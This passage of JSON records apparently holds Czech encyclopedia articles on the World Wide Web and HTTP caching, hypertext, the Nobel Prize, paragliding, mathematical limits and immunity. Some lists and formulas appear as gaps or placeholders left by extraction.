budou spojeny se síťovou adresou místa, o kterém refererují a tak budete při čtení textu moci na ně přejít pouhým kliknutím myši.\" Vysvětlil, že tento systém by mohl odkazovat na použití slova hypertext, termínu, který byl zaveden v padesátých letech. V návrhu bylo také uvedeno, že neexistuje důvod, proč by hypertextové odkazy nemohly zahrnout multimediální dokumenty jakou jsou obrázky, video nebo hlasové záznamy a uvedl tak termín hypermedia. S pomocí kolegy a podobného nadšence do hypertextu Roberta Cailliau vydal více formální návrh 12. listopadu 1990 s názvem \"WorldWideWeb\" (jedno slovo) jako síť hypertextových dokumentů, která by mohla být prohlížena \"prohlížeči\" v podobě architektury typu klient-server. V tu dobu byly HTML a HTTP ve vývoji pouze dva měsíce a první webový server byl poprvé otestován až o měsíc později. Tento návrh předpokládal, že síť pouze pro čtení by mohla být vyvinuta během tří měsíců a za šest měsíců by se mohlo dosáhnout bodu, kdy bude možnost tvořit nové odkazy a nové materiály i čtenář, stejně tak měly fungovat automatické notifikace o vzniku nového materiálu pro čtenáře. Zatímco cíl sítě pouze pro čtení byl dosažen včas, tak přístupné autorství webového obsahu trvalo zavést mnohem déle. Návrh byl modelován na SGML čtečce Dynatext od společnosti Electronic Book Technology (firmě odvozené z Institute for Research in Information and Scholarship na Brownově univerzitě). Systém Dynatext byl licencován CERNem a byl klíčovým hráčem pro rozšíření SGML ISO 8879:1986 směrnice. Berners-Lee pro první webový server využil NeXT Computer a také v roce 1990 naprogramoval první webový prohlížeč, nazval jej WorldWideWeb. Na Vánoce v roce 1990 Berners-Lee připravil všechny nutné věci pro fungující Web: první webový prohlížeč (který zároveň byl i webový editor) a první webový server. První webová stránka byla publikována 20. prosince 1990 a popisovala samotný projekt.", "Mnoho formálních norem, další technické specifikace a software definuje operace různých aspektů World Wide Webu, Internetu a serverů pro výměnu informací. Mnoho z těchto dokumentů je prací World Wide Web Consortium (W3C), v čele s Berners-Lee, ale některé jsou prací Internet Engineering Task Force (IETF) a dalších organizací. Definice je možné nalézt v těchto publikacích: Další publikace poskytují definice ostatních základních technologií pro World Wide Web, včetně následujících:", "Toto schéma specifikátorů (\"<nowiki>http://</nowiki>\" nebo \"<nowiki>https://</nowiki>\") v URIs odkazují na Hypertext Transfer Protocol a také na HTTPS, a tak definují komunikační protokol, který se použije pro žádost a odpověď. HTTP protokol základem pro fungování World Wide Webu. Přidáním šifrovací vrstvy vznikl HTTPS protokol, který je vhodný pro přenos důvěrných informací, jako jsou hesla či bankovní údaje, které mají být přeneseny přes veřejný internet.", "Pokud se uživatel vrátí na webovou stránku, kterou v poslední době navštívil, není vždy potřeba data stránky opět načítat z internetu. Skoro všechny internetové prohlížeče mají cache (vyrovnávací paměť) nedávno načtených stránek, obvykle se tato data nacházejí na pevném disku počítače. HTTP obvykle zasílá pouze žádost o data, která se od poslední návštěvy změnila. Pokud jsou dočasně uložená data na pevném disku stále aktuální, jsou znovu použita. Načítání dat do vyrovnávací paměti redukuje internetový přenos. O platnosti jednotlivých dat je rozhodováno odděleně, zvlášť pro obrázky, CSS styl, JavaScript, HTML a další obsah webové stránky. Proto i na internetových stránkách s velmi dynamickým obsahem není nutné pokaždé načítat veškerá data znovu. Weboví designeři považují za užitečné oddělit tedy styl stránky, obsah a JavaScript do samostatných souborů tak, aby nebylo nutné vždy načítat vše, ale pouze ten soubor, který není aktuální. Obsah webové stránky se totiž mění mnohem častěji než její styl. Toto pomáhá zkrátit dobu načítání stránky z internetu a snižuje nároky na webový server. Existují i další součásti, které lze načítat do vyrovnávací paměti. Firemní a akademické firewally často načítají internetové zdroje, o které žádá jeden uživatel, ve prospěch ostatních uživatelů. (Viz též caching proxy server.) Některé internetové vyhledávače také uchovávají obsah webových stránek ve vyrovnávací paměti. Na rozdíl od zařízení, která jsou zabudovaná ve webových serverech a mohou určit, kdy byla data aktualizována a kdy je potřeba je znovu odeslat. Designeři dynamických webových stránek mohou kontrolovat HTTP hlavičky, které se odesílají uživateli jako odpověď na žádosti odeslané uživatelem, takže přechodná a citlivá data nejsou ukládána. Internetové bankovnictví a zpravodajské weby tohoto často využívají. Data požadovaná pomocí HTTP 'GET' jsou ukládána, pokud jsou splněny další podmínky, data získaná v reakci na 'POST' jsou závislá na datech odeslaných, takže se neukládají.", "Často se v běžném hovoru setkáme s tím, že pojmy World Wide Web a internet jsou využívány ve shodných situacích bez patrného významového rozdílu. Přesto však oba pojmy popisují dvě různé věci. Internet je globální systém vzájemně propojující počítačové sítě na celém světě. World Wide Web je však aplikace, která na internetu funguje. Je to služba poskytovaná v rámci internetu. World Wide Web je dnes obrovské množství stránek, dokumentů a jiných souborů vzájemně propojovaných hypertextovými odkazy. Prohlížení těchto stránek obvykle začínáme zadáním URL adresy do internetového prohlížeče, tento prohlížeč pak provede sérii přenosů dat, které nakonec vykreslí do podoby formátované stránky s odkazy na jiné stránky, s obrázky, animacemi a jinými objekty." ] }

{ "title": [ "Historie.", "Podstata hypertextu.", "Akademické konference." ], "section_level": [ "1", "1", "1" ], "content": [ "Pravděpodobně první popis této myšlenky přišel v roce 1945, kdy Vannevar Bush napsal článek v \"The Atlantic Monthly\" nazvaný „As We May Think“ o zařízení budoucnosti, které nazval „Memex“. Popsal tento přístroj jako elektronicky připojený do knihovny a schopný zobrazovat knihy a filmy z knihovny a také automaticky sledovat odkazy. Memex uměl více než sledovat odkazy. Byla to pomůcka také pro vytváření odkazů. Použitá technologie byla kombinace elektromechanických ovladačů a mikrofilmových kamer a čteček, integrovaných v jednom velkém stole. Většina mikrofilmů knihovny by byla součástí stolu, s možností přidávat nebo vyměňovat cívky mikrofilmů. Mohl by být také používán bez spojení, s generováním informací na mikrofilm, snímáním fotografií z papíru nebo průhledné dotykové obrazovky. Memex byl více než hypertextový stroj, byl to předchůdce personálního počítače, založený na mikrofilmu. Článek z listopadu 1945 v Life magazínu, který ukázal první ilustrace, jak by mohl Memex desk vypadat, ukázal také ilustrace kamery připevněné na hlavě pro experimentující vědce, a obrázky psacího stroje s rozeznáváním hlasu a s čtením textu pomocí hlasové syntézy. Celkově byl Memex pravděpodobně prvním praktickým popisem něčeho, co dnes nazýváme „kancelář budoucnosti“. Bushův teoretický koncept uskutečnil v praxi Douglas Engelbart, když počátkem šedesátých let vytvořil první hypertextový systém fungující v síťovém prostředí. Počítačový vědec Ted Nelson poprvé použil slovo hypertext v roce 1965. Nelson chápal hypertext především jako nové médium, jež rozšiřuje možnosti kreativní práce s textem. Popsal hypertext jako nesekvenční, nelineární [text] s rozvětvenou strukturou, která se skládá z textových bloků propojených (prolinkovaných) různými spojeními a nabízí čtenáři různé čtecí trasy. Své vize se snažil realizovat v celoživotním projektu [XANADU], jehož cílem bylo vytvořit totální hypertext – docuversum (složenina slov document a universum), který by shromažďoval a propojoval všechny existující texty. Projekt nebyl nikdy dokončen. Nelsonova práce, mnoho dalších počátečních hypertextových systémů a populární „HyperCard“ aplikace dodávaná s počítači Macintosh, byly rychle zastíněny úspěchem World Wide Webu, navrženým Timem Berners-Lee, i když mu chyběly některé vlastnosti původních systémů, jako jsou typed links, transclusion a source tracking. Profesor Brownovy University, autor knihy \"Hypertext 2.0.\", George P. Landow, chápe hypertext jako praktické naplnění mnoha aspektů poststrukturalistické i postmoderní koncepce otevřeného textu (opuštění paradigmat centra a okraje, hierarchie, linearity). Tím se hypertext odlišuje od tištěných médií, pro která je typická linearita, kontinuálnost a hierarchie, která vyplývá z jejich trojrozměrné povahy. Způsob četby představuje základní odlišnost textu klasického od hypertextu, který předpokládá multisekvenční čtení. V hypertextu čtenář označuje kurzorem link (na Internetu nejčastěji podtržený a podsvícený text), který nese metaobsah (hypertextovou adresu jiného dokumentu), aktivuje jej a na obrazovce se objeví obsah odkazovaného materiálu.", "Z povahy hypertextu jakožto média vyplývá, že v něm neexistuje centrální, hlavní text, kterému jsou jiné texty podřazeny, jak je tomu v prostorové koncepci tištěné stránky. Princip organizace, hierarchie a nakládání s odkazy závisí na čtenáři, jehož role se v hypertextovém prostředí posouvá blíže k roli autora. Čtenář se aktivně účastní posledního publikování textu – „čte“ tak, že určuje finální organizaci i hierarchii textu, navíc se vyjadřuje k přečtenému, může vytvořit další odkaz, a tím se stává i autorem. Ten naopak kontrolu nad svým textem ztrácí, protože hypertext je útržkovitý, atomizovaný do bloků textů, které jsou nezávislé a samostatné – autor nemůže určit, v jakém pořádku bude čtenář jeho text číst ani s jakým dalším materiálem bude jeho text propojen. Autorův text už není kanonický, ale rozptýlený v síti textů ostatních autorů, kde cestu volí čtenář. Hypertext tak ničí jednohlasnost a fyzickou izolaci textu tím, že jej kontextualizuje pomocí odkazů, které původní text asociují (sekundární, tematicky spřízněné materiály, dobové dokumenty.) Hypertextové odkazy tak slouží ke zmapování intertextuality a intratextuality, tedy interních a externích zmínek a referencí k textu, a tak mažou hranici mezi tím, co je uvnitř a vně textu.", "Jedna ze špičkových konferencí pro výzkum hypertextu je každoroční \"Conference on Hypertext and Hypermedia\" (v překladu \"Konference hypertextu a hypermédií)\" pořádaná asociací Association for Computing Machinery (ACM). Řada WWW konferencí podporovaných IW3C2 obsahuje mnoho zajímavých dokumentů, i když ne pouze o hypertextu. Zde je seznam s odkazy na všechny konference." ] }

{ "title": [ "Oceňované oblasti.", "Udělování cen.", "Obsah ceny.", "Vybraní laureáti.", "Vícenásobní nositelé.", "Zastoupení žen.", "Ceny v ostatních oborech.", "Kontroverze." ], "section_level": [ "1", "1", "1", "1", "2", "1", "1", "1" ], "content": [ "Alfred Nobel ve své závěti napsal, že z jeho pozůstalosti mají být každoročně udělovány ceny za vynikající činy v pěti oblastech lidské činnosti: Roku 1968 se Švédská národní banka rozhodla založit Nobelovu cenu za ekonomii, pod názvem „\"Cena Švédské národní banky za rozvoj ekonomické vědy na památku Alfreda Nobela\"“. Tuto cenu uděluje švédská Královská akademie věd, ale jelikož není zmíněna v Nobelově závěti, peněžní odměna se nevyplácí z Nobelova fondu, a nejedná se tedy o „Nobelovu cenu“. Přesto se uděluje společně s ostatními cenami. V roce 1968 však bylo rozhodnuto, že žádné další ceny „na památku Alfreda Nobela“ již zaváděny nebudou.", "Poprvé byly Nobelovy ceny udělovány roku 1901; ceremoniál se konal ve Stockholmu. Od roku 1902 je většina cen předávána švédským králem na slavnostním večeru, který se koná vždy 10. prosince, v den výročí Nobelovy smrti, ve Stockholmu; Nobelova cena za mír je ve stejný den předávána na ceremoniálu v Oslu. Jména držitelů cen jsou však zveřejněna předem; jednotlivé komise je zveřejňují v průběhu října. Jedna Nobelova cena může být v jednom roce rozdělena i mezi více osob (roku 1968 bylo rozhodnuto, že nejvýše mezi tři osoby). Nobelovu cenu nelze udělit posmrtně (in memoriam), s výjimkou situace, kdy držitel zemře mezi zveřejněním svého jména a slavnostním předáváním. (Toto pravidlo bylo zavedeno roku 1974, do té doby mohla být cena udělena i tehdy, pokud \"již nominovaný\" člověk zemřel po prvním únoru příslušného roku.) Nad udělováním Nobelovy ceny stojí správní orgán dohlížející na stockholmské nadace. Pokud dojde k závěru, že „nebyla ctěna vůle Alfreda Nobela“, může zrušit rozhodnutí o udělení cen až tři roky nazpět.", "Každý držitel Nobelovy ceny má kromě medaile a diplomu nárok také na finanční odměnu, která v současnosti činí 8 miliónů švédských korun (cca 20 miliónů českých korun). Původním cílem této odměny bylo umožnit pokračování ve výzkumu či práci bez nutnosti ohlížet se na finanční situaci, tento důvod však obvykle není aktuální. Udělované medaile mají na líci portrét Alfreda Nobela s nápisem udávajícím roky jeho narození a smrti v latině: \"NAT-MDCCC XXXIII OB-MDCCC XCVI\". Na rubu je motiv odpovídající příslušné ceně a nápis: Na „švédských“ cenách (fyzika, chemie, medicína, literatura) je nápis \"Inventas vitam juvat excoluisse per artes\" (vynálezy zlepšují život, jenž je zkrášlován uměním – citát z Vergiliovy Aeneidy), na ceně za mír je nápis \"Pro pace et fraternitate gentium\" (pro mír a bratrství mezi národy), na ceně za ekonomii je název ceny – \"Sveriges Riksbank till Alfred Nobels Minne 1968\". Na každé medaili je také vyryto jméno držitele. Diplom je obvykle unikátní grafické dílo, diplomy nemají jednotnou podobu, pouze text uvedený na diplomu se příliš nemění; „švédské“ ceny mají na diplomech stručné zdůvodnění, za co byla cena udělena.", "", "Čtyři osobnosti získaly dvě Nobelovy ceny: Dvě organizace získaly vícekrát Nobelovu cenu:", "V období let 1901 až 2015 bylo Nobelovou cenou ohodnoceno celkem 48 žen, z nich Marie Curie-Skłodowská dvakrát – v roce 1903 za fyziku jako vůbec první žena-laureátka Nobelovy ceny a v roce 1911 za chemii. Celkem tedy bylo ženám uděleno 49 Nobelových cen. Z toho značný podíl představují ceny za mír (16) a ceny za literaturu (14). Dalších 12 cen bylo uděleno za fyziologii nebo lékařství, 4 za chemii a 2 za fyziku. K tomu náleží ještě 1 cena za ekonomii.", "Mnoho oborů, které nemají svoji Nobelovu cenu, má obdobné ceny, které však obvykle nejsou tolik známé: Např. za jakousi „Nobelovu cenu za matematiku“ se považují Abelova cena či Fieldsova medaile. „Nobelova cena za informatiku“ je pak synonymem pro Turingovu cenu. Jako „Nobelova cena za náboženství“ bývá označována Templetonova cena. Od roku 2011 je udělována Ratzingerova cena, označovaná rovněž jako Nobelova cena za teologii. Od roku 1990 je udělována Goldmanova cena, označovaná rovněž jako Nobelova cena za životního prostředí. Existují také parodické obdoby, jako např. Ig Nobelova cena, udělovaná „za výzkum, který není možno nebo záhodno opakovat“.", "Nad udělováním cen panují také kontroverze (například eurocentrismus, politické udělování cen, a podobně). Ceny se neudělují v souladu se závětí Alfreda Nobela. Nominace a hlasování výboru je tajné na 50 let. Cena byla udělena například vynálezcům lobotomie, DDT, chemických zbraní či přímo roku 1945 byla při svržení atomových bomb udělena za štěpnou jadernou reakci. Gaston Ramon byl nominován 155krát, Pierre Paul Émile Roux byl nominován 115krát a Arnold Sommerfeld byl nominován 84krát a nikdy cenu nezískali. Totiž například Nobelův výbor pro fyziku v letech 1901 až 1966 většinou udělil cenu někomu jinému než favoritovi s nejvíce nominacemi. Roku 1903 tak například získala cenu nominacemi nepodporovaná Marie Curie-Skłodowská, ale nominacemi podporovaná Lise Meitnerová nikdy cenu nezískala. Člen výboru Jean-Claude Arnault kvůli skandálu rezignoval a cena za literaturu se v roce 2018 neudělila." ] }

{ "title": [ "Vybavení.", "Postroj.", "Přilba.", "Výškoměr.", "Záchranný padák.", "Výcvik pilota.", "Průběh kurzu paraglidingu.", "Metody startu.", "Techniky létání.", "Nestandardní režimy letu s kluzákem.", "Bezpečí." ], "section_level": [ "1", "2", "2", "2", "2", "1", "2", "1", "1", "1", "1" ], "content": [ "K povinnému vybavení paraglidisty patří K dalšímu častému vybavení patří GPS, záchranná šňůra pro zajištění po případném přistání na stromě a vysílačka. Výškoměr je obvykle kombinován s variometrem, t.j. přístrojem indikujícím rychlost stoupání nebo klesání. Při létání je nutné mít s sebou pilotní průkaz, platné osvědčení o technické způsobilosti padákového kluzáku a potvrzení o zákonném pojištění odpovědnosti z provozu padákového kluzáku proti škodám způsobeným třetí osobě (\"povinné ručení\"). Vhodné je též mít u sebe mobilní telefon a to na takovém místě, aby byl snadno dostupný, pokud by pilot potřeboval volat o pomoc sobě či kolegovi. V posledních letech se též značně rozšířilo využívání PDA. Speciální software nabízí mnoho funkcí, dokáže např. vykreslit stoupavý proud, pamatuje si pozici posledního stoupavého proudu, atd.", "Má obvykle tvar sedačky a pilot je v něm připoután. V některých postrojích, určených zejména pro výkonnostní a závodní létání, pilot spíše leží než sedí. Chránič páteře není povinnou součástí, nicméně se jeho použití silně doporučuje. Dříve užívané laminátové chrániče nebyly příliš účinné. Dnes se používají jednak chrániče z pěnových hmot, které se rychle stlačí, ale pomalu regenerují, čímž efektivně tlumí náraz v případě tvrdšího přistání. Druhým častým typem chrániče je \"airbag\". Tento typ se nafukuje při letu proudícím vzduchem a v případě tvrdšího dopadu náraz tlumí vzduchová hmota. Výhodou je sice výrazně nižší hmotnost sedačky, nicméně tento chránič se nafoukne až za určitou dobu po startu, takže pokud dojde k nějaké mimořádné události hned po startu, tento typ chrániče nepomůže.", "Existují přilby speciálně určené pro paragliding a v některých státech je povinnost používat pouze takové (dle normy EN-966). V ČR platí povinnost používat při paraglidingu přilbu a pro výcvik musí být certifikována. Certifikace pro letecké sporty se provádí dle EN-966. Doporučuje se používat přilbu, která neomezuje výhled a ve které je dobře slyšet, což právě přilby pro paragliding splňují. Pro bezpečnost je přilba důležitým prvkem. V případě, že je zřejmé, že přistání nebude pohodové (například v případě nechtěného přistání po větru), se dokonce doporučuje záměrně provést parakotoul, kdy ke kontaktu hlavy se zemí přirozeně dojde. Pokud by náhodou v bodě, kde ke kontaktu hlavy se zemí dojde, byl kámen nebo jiný tvrdý či ostrý předmět, bez přilby by mohlo dojít k těžkému úrazu.", "Výškoměr je povinný pro lety prováděné ve výškách větších, než 300m nad úrovní terénu (končí zde vzdušný prostor třídy G). Výškoměry pro paragliding bývají kombinovány s variometrem. Variometr indikuje, zda pilot stoupá či klesá, a to jednak akusticky a též je rychlost stoupání/klesání zobrazena na displeji. Variometr je prakticky nepostradatelnou pomůckou pro vyhledávání a efektivní využívání stoupavých proudů.", "Pro situace, které nejsou jinak řešitelné, nebo pro jejich řešení nemá pilot dostatek výšky (a tedy času), patří k výbavě padákového kluzáku záchranný padák. Poznamenejme, že pojem \"záchranný padák\" je používán v oficiálních předpisech pro padákové (a závěsné) létání (předpis ZL1 a další), proto je použit i zde na wikipedii. V běžné mluvě se mnohem častěji používá méně přesné označení \"záložní padák\". Tento padák však nepředstavuje zálohu v pravém slova smyslu, neboť funkčně nenahrazuje padákový kluzák, ale jde o prostředek záchrany, pokud nezbývá jiná možnost. Slangově je záchranný padák obvykle označován jako \"záložka\". Existují dvě provedení záchranného padáku - řiditelný a neřiditelný. Neřiditelný ZP padá svisle k zemi a pilot na něm nemá žádnou možnost ovlivnit místo přistání. Řiditelný ZP má určitou dopřednou rychlost a lze na něm zatáčet. To se sice jeví jako výhoda, nicméně pokud je ZP použit zrovna v situaci kdy pilot letí proti terénu a není na provedení zatáčky čas, dojde k nárazu do terénu vlivem dopředného pohybu čelně, což může způsobit i těžké zranění, neboť před sebou nemá pilot žádnou ochranu. S ohledem na to, že ZP se obvykle používá v situacích, kdy není mnoho času přemýšlet, kam se zrovna pilot pohybuje a často ani nelze směr letu ovlivnit, navíc pilot může být prostorově dezorientován, je velmi diskutabilní, který ZP, zda řiditelný nebo neřiditelný je výhodnější. Záchranný padák se typicky používá v situacích, kdy je padákový kluzák neřiditelný nebo je jeho řiditelnost tak omezená, že se jej nedaří udržet v přímém letu. Takovou situací může být komplikovaný závlek vrchlíku mezi šňůry, kdy zbývá funkční jen malá nebo žádná část nosné plochy. Použití záchranného padáku se naopak nedoporučuje, pokud zbývá funkční alespoň polovina vrchlíku a padákový kluzák se daří udržovat v přímém letu. Rychlost opadání záchranného padáku je tak vysoká, že se při dopadu může pilot zranit, proto je ve většině případů vhodnější volit raději přistání s částečně zkolabovaným padákovým kluzákem (pokud to lze), než použití záchranného padáku. To platí o to více, pokud záchranný padák není řiditelný - obvykle je lepší přistát s padákovým kluzákem, který je alespoň částečně řiditelný než se záchranným padákem, který není řiditelný vůbec a na kterém pilot přistane doslova tam \"kam ho vítr zavane\". Někdy je použití záchranného padáku diskutabilní a rozhodnutí závisí na úvaze pilota. Aby byl záchranný padák spolehlivý, je nutné jej alespoň jedenkrát ročně přebalit. Přebalení musí provést kvalifikovaná osoba, neboť i drobná chyba při sbalení může způsobit, že záchranný padák selže nebo se neotevře dostatečně rychle.", "Cesta k samostatnému létání není dlouhá, trvá jen několik týdnů. Lidé často nejprve zkusí létání se zkušeným pilotem v tandemu, nebo absolvují seznamovací kurz, kde se seznámí se základními principy paraglidingu. Aby se člověk mohl stát samostatným pilotem, musí vlastnit pilotní průkaz pro danou skupinu. Podmínky k získání pilotní licence a podmínky k provozování paraglidingu stanoví v každém státě pověřená organizace. Výcvikový předpis PL3 upravující tyto podmínky v ČR, spravuje a vydává Letecká amatérská asociace České republiky, která je pověřena Ministerstvem dopravy. LAA ČR také registruje střediska pilotního výcviku, provádí správu pilotů sportovních létajících zařízení (SLZ) a vydává i eviduje pilotní průkazy pro všechny odbornosti. Do kategorie SLZ patří mimo jiné také všechna ultralehká letadla a rogala (závěsné kluzáky) atd.", "Pilotní průkaz budoucí pilot získá po absolvování kurzu paraglidingu. Na kurzu se účastník naučí všechny potřebné teoretické znalosti a praktické dovednosti nutné k bezpečnému létání. Žáci si prakticky procvičí startování, ovládání padáku, zatáčení a přistávání na cvičných loukách, zpočátku bez odpoutání od země, později s odpoutáním. Podle podmínek a síly větru také nacvičují různé techniky a způsoby startu. Po získání těchto dovedností začnou létat na kopcích s vyšším převýšením, případně z odvijáku. Učí se zatáčky o 360°, nácvik svahování, létání v termice, přistání do vymezeného prostoru a další předepsané úlohy. Pilot si také vyzkouší i ty nestandardní režimy letu, které jsou požadovány v rámci dané kategorie pilotního průkazu. Po celou dobu výcviku jsou žáci pod dohledem instruktorů, kteří je navigují, případně opravují chybné manévry pomocí vysílaček. Postupně jsou vedeni k větší samostatnosti a v závěru kurzu předvedou přezkušovací let. Souběžně s praktickým výcvikem paraglidingu probíhá i teoretická výuka z oblasti aerodynamiky, konstrukce padákového kluzáku, předpisů, nauky o létání, meteorologie a zdravovědy v souladu s výcvikovou osnovou. Zejména znalost meteorologie je u tohoto sportu stěžejní, protože padákový kluzák je bezmotorový a pohyb ve vzduchu závisí na povětrnostních podmínkách. Na závěr kurzu se píše test, po jehož úspěšném zvládnutí dostane účastník potvrzený osobní list. Na jeho základě si můžete u Letecké amatérské asociace ČR vyřídit pilotní průkaz kategorie \"Pilot\". Platnost osobního listu je 90 dnů od závěrečné praktické zkoušky. K vydání pilotního průkazu je ještě potřeba potvrzení o zdravotní způsobilosti, fotografii pasového formátu a doklad o zaplacení správního poplatku LAA ČR.", "U tohoto sportu existují dva druhy startu. Při tomto sportu se nikdy nestartuje skokem z letadla atp. Start se obvykle provádí rozběhem ze svahu. Start se provádí pokud možno proti větru. Lze startovat i při bočním větru nebo slabém větru zezadu, ovšem za předpokladu, že to umožňují podmínky na startovišti a pilot má dostatečné zkušenosti, aby takový start zvládl. Minimální rychlosti padáků se pohybují podle kategorií od 22 do 25 až 28 km/h. Tuto rychlost je tedy třeba vyvinout při startu k bezpečnému odpoutání od zemského povrchu. Kromě startu ze svahu je možné startovat ze země pomocí navijáku nebo odvijáku. V takovém případě je pilot při startu tažen na laně a po vystoupání se pilot od lana odpojí. Zařízení spojující pilota s lanem musí odepnutí umožnit. S padákovým kluzákem nelze létat tak, že je kluzák tažen trvale. Jinak vzniká drakový efekt, který může vést k prudkému neřiditelnému pádu pilota na zem. Létání při trvalém tažení za motorovým člunem apod. se provádí s padáky konstrukce odlišné od padákových kluzáků. Druhy startů:", "Pilot-začátečník se obvykle spokojí se slety z kopce - odstartuje u vrcholu kopce a přistane pod kopcem. S rostoucími zkušenostmi obvykle roste chuť lety prodloužit. Existují dvě techniky, jak setrvat ve vzduchu delší dobu. Obě techniky lze za určitých podmínek kombinovat. Někdy je např. možné se během přeletu zachytit u kopce ve svahovém proudění a čekat zde, než se dostaví stoupavý proud.", "V důsledku kolapsu vrchlíku v turbulencích nebo pilotní chyby může padákový kluzák přejít i do některého z nestandardních režimů. Tyto režimy je též možno vyvolat záměrně.", "Paragliding dnes na rozdíl od jiných leteckých sportů nepatří obecně k rizikovým sportům a například ve Švýcarsku je pokryto normálním úrazovým pojištěním. Hlavní zdroje rizika úrazu jsou špatná rozhodnutí pilota anebo jeho nedostatečná příprava. K situacím, které můžou ohrozit bezpečí, patří například: Pro zvýšení a zdokonalení bezpečného létání se pořádají kurzy SIV (Security in flight), na kterých se krizové situace nacvičují v bezpečných podmínkách nad vodou. Instruktor s vysílačkou je obvykle pod žákem na motorovém člunu." ] }

{ "title": [ "Limita posloupnosti.", "Limita funkce.", "Nevlastní limita.", "Limita v nevlastním bodě.", "Zobecnění pro topologické prostory." ], "section_level": [ "1", "1", "1", "1", "1" ], "content": [ "Posloupnost formula_4 má \"limitu A\", pokud se jejími hodnotami můžeme k A libovolně přiblížit. Tedy pro každé kladné číslo formula_5 platí, že existuje nějaký člen posloupnosti, od kterého jsou už její hodnoty od \"A\" vzdáleny méně než formula_5. Zapsáno symbolicky: Příklad: Číslo 1 je limitou posloupnosti (0,9; 0,99; 0,999; 0,9999...), kterou lze formálně zapsat jako {1-10}.", "Říkáme, že funkce \"f(x)\" má v bodě \"a limitu A\", jestliže k libovolnému formula_8 existuje takové formula_9, že pro všechna \"x\" z formula_10-okolí bodu \"a\", z něhož vyjmeme bod \"a\" (tzv. prstencová okolí bodu \"a\") je formula_11.", "Pokud pro každé (libovolně velké) kladné číslo \"y\" lze nalézt prvek posloupnosti, počínaje kterým jsou všechny hodnoty posloupnosti větší než \"y\", říkáme, že posloupnost roste nade všechny meze neboli že má nevlastní limitu formula_12. Obdobně se definuje nevlastní limita formula_13. Pokud pro funkci v okolí bodu \"a\" platí, že pro každé (libovolně velké) kladné číslo \"y\" lze nalézt okolí bodu \"a\", ve kterém má funkce hodnotu větší než \"y\", říkáme, že funkce v okolí bodu \"a\" roste nade všechny meze neboli že má nevlastní limitu formula_12. Nevlastní limita formula_13 se definuje obdobně. Limitou tedy může být nejen reálné číslo, ale i formula_12 nebo formula_13 (rozšířené reálné číslo).", "Stejně jako u posloupností lze zkoumat chování funkcí pro všechny hodnoty argumentu větší než zadané kladné číslo \"z\". Pokud se hodnoty neliší od určitého čísla \"A\" o více než předem zadané formula_8, má funkce v nevlastním bodě formula_12 vlastní limitu \"A\". Pokud jsou hodnoty větší než libovolné předem dané \"y\", má funkce v nevlastním bodě formula_12 nevlastní limitu formula_12. Obdobným způsobem lze definovat limitu v nevlastním bodě formula_13. V každém z nevlastních bodů formula_12 nebo formula_13 může mít funkce vlastní limitu, nevlastní limitu nebo limita nemusí existovat. Příkladem funkce, která nemá limitu v žádném z bodů formula_12 nebo formula_13, je funkce sinus.", "Limita zobrazení formula_27 mezi topologickými prostory je v bodě \"a\" definována jako formula_28 takové, že pro každé okolí \"O(b)\" bodu \"b\" existuje okolí \"O(a)\" bodu \"a\" takové, že formula_29 implikuje formula_30. Dalším zobecněním limity posloupnosti, funkce i zobrazení jsou limity sítí. Limita zobrazení nebo sítě může být v obecném topologickém prostoru víceznačná. Platí však, že v Hausdorffově prostoru, je tato limita jednoznačná, t.j. každá síť má nejvýše jednu limitu." ] }

{ "title": [ "Obranné linie.", "Evoluce.", "Dělení imunity podle její specifity a vývoje.", "Přirozená imunita.", "Adaptivní imunita.", "Znaky adaptivní imunity u hmyzu.", "Dělení imunity podle povahy imunitní obrany.", "Buněčná imunita.", "Látková imunita.", "Imunita jako odolnost vůči konkrétní chorobě." ], "section_level": [ "1", "1", "1", "2", "2", "3", "2", "2", "2", "1" ], "content": [ "Imunita má 3 obranné linie, z toho první dvě spadají pod nespecifické obranné mechanismy a třetí obranná linie spadá pod specifické obranné mechanismy.", "Imunita se rozvíjela v rámci živočišné říše velice pozvolna a i organizmy, které nemají žádné bílé krvinky, mají do jisté míry rozvinutý imunitní systém schopný rozlišovat cizí od svého. Pokud bílé krvinky bezobratlí mají, tak se jedná o fagocytující buňky, které se pohybují uvnitř těla živočichů, v cévách či tkáních, a zajišťují tzv. nespecifickou (přirozenou) imunitu. V tom představují předky lidských makrofágů. Byly nalezeny u většiny živočichů, od primitivních houbovců, přes hmyz až k obratlovcům. Z tohoto přehledu je tedy jasné, že kořeny nespecifické imunity se dají vystopovat hluboko do historie živočišné říše. Co se týče tzv. specifické čili adaptivní imunity, která je představována z bílých krvinek především T-lymfocyty a B-lymfocyty, tam je situace poněkud odlišná. Nepochybně spolupracuje s imunitou přirozenou a má s ní mnoho společných rysů. Obecně se uvádí, že se poprvé vyvinula u nejstarších čelistnatých obratlovců: všichni čelistnatci (Gnathostomata), tedy obratlovci bez mihulí a sliznatek, mají podobné T-buněčné a B-buněčné receptory, MHC komplexy, ale probíhá u nich i unikátní jev označovaný V(D)J rekombinace. Situace u mihulí a sliznatek je poněkud nejasná, zvláště proto, že buňky nerozeznatelné od lymfocytů u nich jsou opakovaně nalézány, a navíc se objevují studie, které popisují určitý způsob rekombinace genů pro povrchové struktury, odlišný od V(D)J rekombinace. Zřejmě však nemají zmíněné TCR, BCR a MHC komplexy.", "Rozlišujeme přirozenou a adaptivní imunitu.", "Přirozená imunita (často nazývaná také vrozená nebo nespecifická) umožňuje první linii obrany vůči infekci a slouží jako stále „ostražitý“ strážce v případě náhlého napadení těla. Zahrnuje jak buněčnou, tak látkovou (humorální) imunitu. Princip přirozené imunity spočívá v tom, že mnohé bakterie (a podobně) mají na povrchu různé typické molekuly (tzv. molekulární vzory asociované s patogeny, z anglické zkraky PAMP), které mohou být rozeznány receptory na buňkách přirozeného imunitního systému (viz např. toll-like receptor). Reakce přirozené imunity se hojně účastní tzv. fagocyty, buňky schopné pohltit cizorodé částice v těle: k fagocytům přirozené obrany patří zejména makrofág a neutrofil. Není však možné zapomenout ani na roli sliznic a pokožky - tedy fyzikálních bariér, které mechanicky zabraňují vstupu infekce a navíc produkují řadu antimikrobiálně působících látek. Přirozená imunita zpravidla předchází odpovědi adaptivní imunity a postačuje ke zvládnutí počáteční rychlé fáze infekce.", "Adaptivní imunita (často nazývaná také získaná nebo specifická) vstupuje do hry v pozdější fázi infekce, kdy přítomnost molekul z patogenních mikroorganizmů (antigenů = Ag) aktivuje přes specifické antigenní imunoreceptory (TCR, BCR) příslušné klony T lymfocytů a B lymfocytů (nebo T a B buněk). Jedná se buď o celou nativní strukturu molekul pro B buňky nebo krátký naštěpen antigenní peptid na MHC komplexech pro T buňky. Když se antigenní struktura 